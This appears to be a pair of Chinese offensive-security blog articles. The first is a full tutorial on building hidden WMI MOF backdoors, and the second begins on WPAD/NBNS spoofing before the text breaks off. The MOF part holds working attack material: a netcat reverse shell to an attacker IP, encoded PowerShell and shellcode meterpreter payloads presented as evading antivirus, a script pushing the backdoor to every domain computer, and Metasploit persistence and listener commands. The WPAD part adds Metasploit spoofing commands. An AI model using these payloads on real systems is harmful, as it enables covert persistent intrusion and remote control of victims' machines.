,Windows 管理规范 (WMI) 提供了以下三种方法编译到WMI存储库的托管对象格式 (MOF) 文件:
方法 1: 使用Mofcomp.exe。 方法 2: 使用 IMofCompiler 接口和$ CompileFile方法。 方法 3: 拖放到%SystemRoot%\System32\Wbem\MOF文件夹的 MOF 文件。

第三种方法仅为向后兼容性与早期版本(win2003)的 WMI 提供。

一个简单的MOF反弹shell示例:
#!vb #pragma namespace ("\\\\.\\root\\subscription") instance of __EventFilter as $FILTER { Name = "CLASS_FIRST_TEST"; EventNamespace = "root\\cimv2"; Query = "SELECT * FROM __InstanceCreationEvent " "WHERE TargetInstance ISA \"Win32_NTLogEvent\" AND " "TargetInstance.LogFile=\"Application\""; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $CONSUMER { Name = "CLASS_FIRST_TEST"; ScriptingEngine = "VBScript"; ScriptText = "Set objShell = CreateObject(\"WScript.Shell\")\n" "objShell.Run \"C:\\Windows\\system32\\cmd.exe /C C:\\nc.exe 192.168.38.1 1337 -e C:\\Windows\\system32\\cmd.exe\"\n"; }; instance of __FilterToConsumerBinding { Consumer = $CONSUMER ; Filter = $FILTER ; };

MOF and Powershell

如果获取了管理员权限,使用MOF可以做一个永久的隐藏后门。对于很多后门来说,都需要一个触发,在这里,可以使用
http://www.jb51.net/article/52489.htm
,以便确定什么时候触发我们的后门。(更多详细的解释可在查看
http://www.codeproject.com/Articles/28226/Creating-WMI-Permanent-Event-Subscriptions-Using-M

http://poppopret.blogspot.com/2011/09/playing-with-mof-files-on-windows-for.html)
。 比如,我们想做一个后门通过打开notepad来触发,可以使用以下查询:
#!sql "SELECT * FROM __InstanceCreationEvent Within 5 " "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" ";
如果想通过关闭Powershell来触发,可以使用以下查询:
#!sql "SELECT * FROM __InstanceDeletionEvent Within 5 " "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"powershell.exe\" ";
如果想通过每小时在30分钟的时候触发,可使用以下查询:
#!sql "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Minute = 30 "
当我们确定了我们的触发方式以后,我们就可以把我们的查询写成一个MOF过滤器:
#!vb instance of __EventFilter as $Filt { Name = "EventFilter"; EventNamespace = "Root\\Cimv2"; Query = <插入查询> QueryLanguage = "WQL"; };
比如我们使用打开Notepad作为触发条件,那么可以这样写:
#!vb instance of __EventFilter as $Filt { Name = "EventFilter"; EventNamespace = "Root\\Cimv2"; Query ="SELECT * FROM __InstanceCreationEvent Within 5" "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" "; QueryLanguage = "WQL"; };
下面我们就需要事件消费者的响应了,在这里我们可以使用不同的
https://msdn.microsoft.com/en-us/library/aa392395(v=vs.85).aspx?tduid=(c301fb77b3a8b885de2b9a1f7456c5ac)(256380)(2459594)(TnL5HPStwNw-ektmYir908cxwICjxz7cAg)()
类,通过使用CommandLineEventConsumer,我们可以使用Veil输出的payload,同时也可以使用ActiveScriptEventConsumer来嵌入或者调用VBS脚本。下面是一个使用CommandLineEventConsumer的示例:
#!vb "cmd /C
";
下面使用Veil来生成Powershell payload: 选择x86里面进行测试,payload如下:
#!bash powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$(
::FromBase64String(\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\")))),
::Decompress)),
::ASCII)).ReadToEnd();"
接下来,我们把上面的payload放到下面的模板中:
#!vb instance of CommandLineEventConsumer as $Cons { Name = "Powershell Helper"; RunInteractively=false; CommandLineTemplate="cmd /C powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$(
::FromBase64String(\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\")))),
::Decompress)),
::ASCII)).ReadToEnd();"; };

这里要注意一点就是如果payload里面存在需要转义的"以及\ 这里可以使用双引号将qi其引用并用\进行转义。

最后我们所写的MOF文件是这样的:
#!vb #PRAGMA NAMESPACE ("\\\\.\\root\\subscription") instance of CommandLineEventConsumer as $Cons { Name = "Powershell Helper"; RunInteractively=false; CommandLineTemplate="cmd /C powershell.exe -NoP -NonI -W Hidden" " -Exec Bypass -Command \"Invoke-Expression " "$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$(
::FromBase64String" "(\\\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5" "UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/" "Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13" "URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/" "JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/" "ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/" "RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\\\")))), " "
::Decompress)),
::ASCII)).ReadToEnd();\""; }; instance of __EventFilter as $Filt { Name = "EventFilter"; EventNamespace = "Root\\Cimv2"; Query ="SELECT * FROM __InstanceCreationEvent Within 5" "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" "; QueryLanguage = "WQL"; }; instance of __FilterToConsumerBinding { Filter = $Filt; Consumer = $Cons; };
如果觉得麻烦的话,可以使用这个工具
https://github.com/trustedsec/unicorn
来生成没有特殊字符的payload,使用方式很简单:
链接
将powershell_attack.txt的内容复制进来,然后msfconsole -r unicorn.rc 则可开启监听,修改后的MOF文件如下:
#!vb #PRAGMA NAMESPACE ("\\\\.\\root\\subscription") instance of CommandLineEventConsumer as $Cons { Name = "Powershell Helper"; RunInteractively=false; CommandLineTemplate="cmd /C powershell -window hidden -enc JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAGMAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZAA5ACwAMAB4AGMANAAsADAAeABiAGEALAAwAHgAYQBlACwAMAB4AGUAZAAsADAAeABmADMALAAwAHgANgA0ACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGYALAAwAHgAMgBiACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANAA3ACwAMAB4ADMAMQAsADAAeAA1ADcALAAwAHgAMQA4ACwAMAB4ADgAMwAsADAAeABjADcALAAwAHgAMAA0ACwAMAB4ADAAMwAsADAAeAA1ADcALAAwAHgAYgBhACwAMAB4ADAAZgAsADAAeAAwADYALAAwAHgAOQA4ACwAMAB4ADIAYQAsADAAeAA0AGQALAAwAHgAZQA5ACwAMAB4ADYAMQAsADAAeABhAGEALAAwAHgAMwAyACwAMAB4ADYAMwAsADAAeAA4ADQALAAwAHgAOQBiACwAMAB4ADcAMgAsADAAeAAxADcALAAwAHgAYwBjACwAMAB4ADgAYgAsADAAeAA0ADIALAAwAHgANQAzACwAMAB4ADgAMAAsADAAeAAyADcALAAwAHgAMgA4ACwAMAB4ADMAMQAsADAAeAAzADEALAAwAHgAYgBjACwAMAB4ADUAYwAsADAAeAA5AGUALAAwAHgAMwA2ACwAMAB4ADcANQAsADAAeABlAGEALAAwAHgAZgA4ACwAMAB4ADcAOQAsADAAeAA4ADYALAAwAHgANAA3ACwAMAB4ADMAOAAsADAAeAAxAGIALAAwAHgAMAA0ACwAMAB4ADkAYQAsADAAeAA2AGQALAAwAHgAZgBiACwAMAB4ADMANQAsADAAeAA1ADUALAAwAHgANgAwACwAMAB4AGYAYQAsADAAeAA3ADIALAAwAHgAOAA4ACwAMAB4ADgAOQAsADAAeABhAGUALAAwAHgAMgBiACwAMAB4AGMANgAsADAAeAAzAGMALAAwAHgANQBmACwAMAB4ADUAOAAsADAAeAA5ADIALAAwAHgAZgBjACwAMAB4AGQANAAsADAAeAAxADIALAAwAHgAMwAyACwAMAB4ADgANQAsADAAeAAwADkALAAwAHgAZQAyACwAMAB4ADMANQAsADAAeABhADQALAAwAHgAOQBmACwAMAB4ADcAOQAsADAAeAA2AGMALAAwAHgANgA2ACwAMAB4ADIAMQAsADAAeABhAGUALAAwAHgAMAA0ACwAMAB4ADIAZgAsADAAeAAzADkALAAwAHgAYgAzACwAMAB4ADIAMQAsADAAeABmADkALAAwAHgAYgAyACwAMAB4ADAANwAsADAAeABkAGQALAAwAHgAZgA4ACwAMAB4ADEAMgAsADAAeAA1ADYALAAwAHgAMQBlACwAMAB4ADUANgAsADAAeAA1AGIALAAwAHgANQA3ACwAMAB4AGUAZAAsADAAeABhADYALAAwAHgAOQBiACwAMAB4ADUAZgAsADAAeAAwAGUALAAwAHgAZABkACwAMAB4AGQANQAsADAAeAA5AGMALAAwAHgAYgAzACwAMAB4AGUANgAsADAAeAAyADEALAAwAHgAZABmACwAMAB4ADYAZgAsADAAeAA2ADIALAAwAHgAYgAyACwAMAB4ADQANwAsADAAeABmAGIALAAwAHgAZAA0ACwAMAB4ADEAZQAsADAAeAA3ADYALAAwAHgAMgA4ACwAMAB4ADgAMgAsADAAeABkADUALAAwAHgANwA0ACwAMAB4ADgANQAsADAAeABjADAALAAwAHgAYgAyACwAMAB4ADkAOAAsADAAeAAxADgALAAwAHgAMAA0ACwAMAB4AGMAOQAsADAAeABhADQALAAwAHgAOQAxACwAMAB4AGEAYgAsADAAeAAxAGUALAAwAHgAMgBkACwAMAB4AGUAMQAsADAAeAA4AGYALAAwAHgAYgBhACwAMAB4ADcANgAsADAAeABiADEALAAwAHgAYQBlACwAMAB4ADkAYgAsADAAeABkADIALAAwAHgAMQA0ACwAMAB4AGMAZQAsADAAeABmAGMALAAwAHgAYgBkACwAMAB4AGMAOQAsADAAeAA2AGEALAAwAHgANwA2ACwAMAB4ADUAMwAsADAAeAAxAGQALAAwAHgAMAA3ACwAMAB4AGQANQAsADAAeAAzAGIALAAwAHgAZAAyACwAMAB4ADIAYQAsADAAeABlADYALAAwAHgAYgBiACwAMAB4ADcAYwAsADAAeAAzAGMALAAwAHgAOQA1ACwAMAB4ADgAOQAsADAAeAAyADMALAAwAHgAOQA2ACwAMAB4ADMAMQAsADAAeABhADEALAAwAHgAYQBjACwAMAB4ADMAMAAsADAAeABjADUALAAwAHgAYwA2ACwAMAB4ADgANgAsADAAeAA4ADUALAAwAHgANQA5ACwAMAB4ADMAOQAsADAAeAAyADkALAAwAHgAZgA2ACwAMAB4ADcAMAAsADAAeABmAGQALAAwAHgANwBkACwAMAB4AGEANgAsADAAeABlAGEALAAwAHgAZAA0ACwAMAB4AGYAZAAsADAAeAAyAGQALAAwAHgAZQBiACwAMAB4AGQAOQAsADAAeAAyAGIALAAwAHgAZABiACwAMAB4AGUAZQAsADAAeAA0AGQALAAwAHgAMQA0ACwAMAB4AGIANAAsADAAeABiAGIALAAwAHgAMAAwACwAMAB4AGYAYwAsADAAeABjADcALAAwAHgAMwBiACwAMAB4ADMAOAAsADAAeAA0ADQALAAwAHgANABlACwAMAB4AGQAZAAsADAAeAA2AGMALAAwAHgAZQA2ACwAMAB4ADAAMQAsADAAeAA3ADIALAAwAHgAYwBjACwAMAB4ADUANgAsADAAeABlADIALAAwAHgAMgAyACwAMAB4AGEANAAsADAAeABiAGMALAAwAHgAZQBkACwAMAB4ADEAZAAsADAAeABkADQALAAwAHgAYgBlACwAMAB4ADIANwAsADAAeAAzADYALAAwAHgANwBlACwAMAB4ADUAMQAsADAAeAA5AGUALAAwAHgANgBlACwAMAB4ADEANgAsADAAeABjADgALAAwAHgAYgBiACwAMAB4AGUANQAsADAAeAA4ADcALAAwAHgAMQA1ACwAMAB4ADEANgAsADAAeAA4ADAALAAwAHgAOAA3ACwAMAB4ADkAZQAsADAAeAA5ADUALAAwAHgANwA0ACwAMAB4ADQAOQAsADAAeAA1ADcALAAwAHgAZAAzACwAMAB4ADYANgAsADAAeAAzAGQALAAwAHgAOQA3ACwAMAB4AGEAZQAsADAAeABkADUALAAwAHgAZQBiACwAMAB4AGEAOAAsADAAeAAwADQALAAwAHgANwAzACwAMAB4ADEAMwAsADAAeAAzAGQALAAwAHgAYQAzACwAMAB4AGQAMgAsADAAeAA0ADQALAAwAHgAYQA5ACwAMAB4AGEAOQAsADAAeAAwADMALAAwAHgAYQAyACwAMAB4ADcANgAsADAAeAA1ADEALAAwAHgANgA2ACwAMAB4AGIAOQAsADAAeABiAGYALAAwAHgAYwA3ACwAMAB4AGMAOQAsADAAeABkADUALAAwAHgAYgBmACwAMAB4ADAANwAsADAAeABjAGEALAAwAHgAMgA1ACwAMAB4ADkANgAsADAAeAA0AGQALAAwAHgAYwBhACwAMAB4ADQAZAAsADAAeAA0AGUALAAwAHgAMwA2ACwAMAB4ADkAOQAsADAAeAA2ADgALAAwAHgAOQAxACwAMAB4AGUAMwAsADAAeAA4AGQALAAwAHgAMgAxACwAMAB4ADAANAAsADAAeAAwAGMALAAwAHgAZQA0ACwAMAB4ADkANgAsADAAeAA4AGYALAAwAHgANgA0ACwAMAB4ADAAYQAsADAAeABjADEALAAwAHgAZgA4ACwAMAB4ADIAYQAsADAAeABmADUALAAwAHgAMgA0ACwAMAB4AGYAOQAsADAAeAAxADcALAAwAHgAMgAwACwAMAB4ADAAMAAsADAAeAA4AGYALAAwAHgANwA5ACwAMAB4AGYAMAA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAeAA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAeAAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQAeAAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkADEAKQApADsAJAAyACAAPQAgACIALQBlAG4AYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAMwAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJAAzACAAJAAyACAAJABlACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIAAkAGUAIgA7AH0A"; }; instance of __EventFilter as $Filt { Name = "EventFilter"; EventNamespace = "Root\\Cimv2"; Query ="SELECT * FROM __InstanceCreationEvent Within 5" "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" "; QueryLanguage = "WQL"; }; instance of __FilterToConsumerBinding { Filter = $Filt; Consumer = $Cons; };
将以上内容保存为test.mof,如果拥有管理员权限,可以将test.mof放到%SYSTEMROOT%/wbem/MOF目录(xp以下操作系统),系统会自动编译执行此脚本,如果在XP 或者更高版本的操作系统上可以执行如下命令:
#!bash C:\>mofcomp.exe c:\test.mof
执行以后,当打开记事本的时候,则可生成meterpreter会话: 同时,这个mof文件是免杀的: 当然除了这个我们还可以做其他事情,比如关闭某个程序,当其启动时就关闭,MOF文件如下:
#!vb #PRAGMA NAMESPACE ("\\\\.\\root\\subscription") instance of CommandLineEventConsumer as $Cons { Name = "Powershell Helper 2"; RunInteractively=false; CommandLineTemplate="cmd /C powershell.exe Stop-Process -processname notepad -Force"; }; instance of __EventFilter as $Filt { Name = "EventFilter 2"; EventNamespace = "Root\\Cimv2"; Query ="SELECT * FROM __InstanceCreationEvent Within 3" "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" "; QueryLanguage = "WQL"; }; instance of __FilterToConsumerBinding { Filter = $Filt; Consumer = $Cons; };
如果我们想要远程执行,可使用如下命令:
#!bash c:\>mofcomp -N \\
\root\subscription test.mof
如果我们在域内,还可以用下面的Powershell脚本批量远程执行:
#!vb function getNetHosts { $final = @() #获取域计算机 $strCategory = "computer" $objDomain = New-Object System.DirectoryServices.DirectoryEntry $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objSearcher.SearchRoot = $objDomain $objSearcher.Filter = ("(objectCategory=$strCategory)") $colProplist = "name", "cn" foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)} $colResults = $objSearcher.FindAll() foreach ($objResult in $colResults) { $objComputer = $objResult.Properties $bleh = $objComputer.name $final += $bleh } return $final } $nethosts= getNetHosts foreach ($nethost in $nethosts) { write-host "Exec on " + $nethost $str = "\\"+$nethost+"\root\subscription" $m = mofcomp -N $str test.mof }
使用方式为:
#!bash c:\> powershell -ExecutionPolicy Bypass .\test.ps1 # mof文件在同一个文件夹下面

Meterpreter Post Module

这里有一个msf的模块,可以实现此后门安装,
https://github.com/khr0x40sh/metasploit-modules
,下载以后将其移动到post/windows/文件夹则可使用:
#!bash ☁ persistence
mv mof_ps_persist.rb $msf_path/modules/post/windows/
在获取meterpreter会话以后,安装此后门:
#!bash msf exploit(web_delivery) > use post/windows/mof_ps_persist msf post(mof_ps_persist) > set LHOST 192.168.101.1 LHOST => 192.168.101.1 msf post(mof_ps_persist) > set lport 8887 lport => 8887 msf post(mof_ps_persist) > set session 4 session => 4 msf post(mof_ps_persist) > run

默认payload为windows/meterpreter/reverse_tcp,执行时间间隔为60秒,如果想通过触发方式启动,可以自行修改ruby脚本。

开启监听:
#!bash msf post(mof_ps_persist) > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.101.1 lhost => 192.168.101.1 msf exploit(handler) > set lport 8887 lport => 8887 msf exploit(handler) > exploit -j
如果看到错误80041003,说明权限不够,可以试试试用bypassuac,具体怎么bypass,请戳我。 当会话中断以后,由于mof自动执行,所以可以重新获取meterpreter会话。当对方电脑重启以后,仍可以获取会话。 如果想要清除后门,可以resource 生成的rc文件。

停止MOF

要停止mof,可进行如下操作:
第一 net stop winmgmt 停止服务, 第二 删除文件夹:C:\WINDOWS\system32\wbem\Repository\ 第三 net start winmgmt 启动服务

小结

本篇文章主要介绍了一些结合MOF与powershell来进行制作后门的方式方法,对于MOF大家可能接触最多的就是在MYSQL提权时使用MOF来提权,其实玩儿法还很多,大家可以继续来研究研究,希望此文对你有帮助。

参考


http://drops.wooyun.org/tips/10346

http://drops.wooyun.org/tips/9973

http://drops.wooyun.org/tips/8290

http://www.codeproject.com/Articles/27914/WMI-MOF-Basics

http://www.codeproject.com/Articles/28226/Creating-WMI-Permanent-Event-Subscriptions-Using-M

http://poppopret.blogspot.com/2011/09/playing-with-mof-files-on-windows-for.html

http://www.cnblogs.com/2018/archive/2010/09/25/1834879.html

http://www.jb51.net/article/52489.htm

0x00 前言

学习@Her0in《Windows名称解析机制探究及缺陷利用》很受启发,于是对其实际利用做了进一步研究,发现基于WPAD的中间人攻击很是有趣,现将收获分享给大家。

0x01 简介


WPAD
全称网络代理自动发现协议(Web Proxy Autodiscovery Protocol),通过让浏览器自动发现代理服务器,定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。
PAC
全称代理自动配置文件(Proxy Auto-Config),定义了浏览器和其他用户代理如何自动选择适当的代理服务器来访问一个URL。 要使用 PAC,我们应当在一个网页服务器上发布一个PAC文件,并且通过在浏览器的代理链接设置页面输入这个PAC文件的URL或者通过使用WPAD协议告知用户代理去使用这个文件。 WPAD标准使用
wpad.dat
,PAC文件举例:
#!js function FindProxyForURL(url, host) { if (url== 'http://www.baidu.com/') return 'DIRECT'; if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070'; if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT'; return 'DIRECT'; }

0x02 WPAD原理

如图 此图片修改于
http://wenku.baidu.com/link?url=KFoXTvqgxnNR1lxM_2dHCCRlJXp0D2GXa80fI7BCjR7XSoDqv2jmLJ8WJoSaew9MFSpKmTDV9lxNF2XKhTaJ1T8rSghDrhZ71OqlQ1yqx-a
用户在访问网页时,首先会查询PAC文件的位置,具体方式如下:
1、通过DHCP服务器
如图 这里写图片描述 web浏览器向DHCP服务器发送DHCP INFORM查询PAC文件位置 DHCP服务器返回DHCP ACK数据包,包含PAC文件位置
2、通过DNS查询
web浏览器向DNS服务器发起 WPAD+X 的查询 DNS服务器返回提供WPAD主机的IP地址 web浏览器通过该IP的80端口下载wpad.dat
3、通过NBNS查询
Tips: Windows 2K , XP , 2K3 只支持 DNS 和 NetBIOS Windows Vista 之后(包括 2K8 , Win7,Win8.x,Win 10)支持DNS、NBNS、LLMNR 如果DHCP和DNS服务器均没有响应,同时当前缓存没有所请求的主机名,就会发起如下名称解析: 如果当前系统支持LLMNR(Link-Local Multicast Name Resolution),先发起广播LLMNR查询,如果没有响应再发起广播NBNS查询 如果有主机回应PAC文件位置 web浏览器通过该IP的80端口下载wpad.dat

0x03 WPAD漏洞

对照WPAD的原理,不难发现其中存在的漏洞,如图 此图片修改于
http://wenku.baidu.com/link?url=KFoXTvqgxnNR1lxM_2dHCCRlJXp0D2GXa80fI7BCjR7XSoDqv2jmLJ8WJoSaew9MFSpKmTDV9lxNF2XKhTaJ1T8rSghDrhZ71OqlQ1yqx-a
如果在被攻击用户发起NBNS查询时伪造NBNS响应,那么就能控制其通过伪造的代理服务器上网,达到会话劫持的目的。

0x04 WPAD漏洞测试

测试环境:

被攻击用户: win7 x86 192.168.16.191 攻击用户: kali linux 192.168.16.245

测试过程:


1、监听NBNS查询

use auxiliary/spoof/nbns/nbns_response set regex WPAD set spoofip 192.168.16.245 run
如图
2、设置WPAD服务器

use auxiliary/server/wpad set proxy 192.168.16.245 run
如图
3、被攻击用户发起查询
